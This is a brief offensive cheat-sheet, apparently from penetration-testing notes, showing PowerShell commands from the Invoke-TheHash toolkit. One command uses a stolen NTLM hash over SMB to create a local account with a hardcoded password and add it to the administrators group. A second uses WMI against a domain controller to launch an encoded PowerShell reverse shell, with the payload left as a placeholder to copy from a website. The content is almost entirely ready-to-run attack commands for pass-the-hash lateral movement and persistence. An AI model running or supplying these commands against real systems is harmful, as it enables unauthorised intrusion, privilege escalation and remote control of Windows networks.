# Importing the moduleImport-Module.\\Invoke-TheHash.psd1# Invoke-TheHash with SMB# below command will add local administrator to target systemInvoke-SMBExec -Target ip -Domain domain.com -Username eren -Hash paste-hash -Command "net user eren Password123 /add && net localgroup administrators eren /add" -Verbose
# Invoke-TheHash with WMI # below command will run a reverse shell Invoke-WMIExec -Target DC01 -Domain Administrator -Username eren -Hash paste-hash -Command "powershell -e reverse can be copied from revshells.com"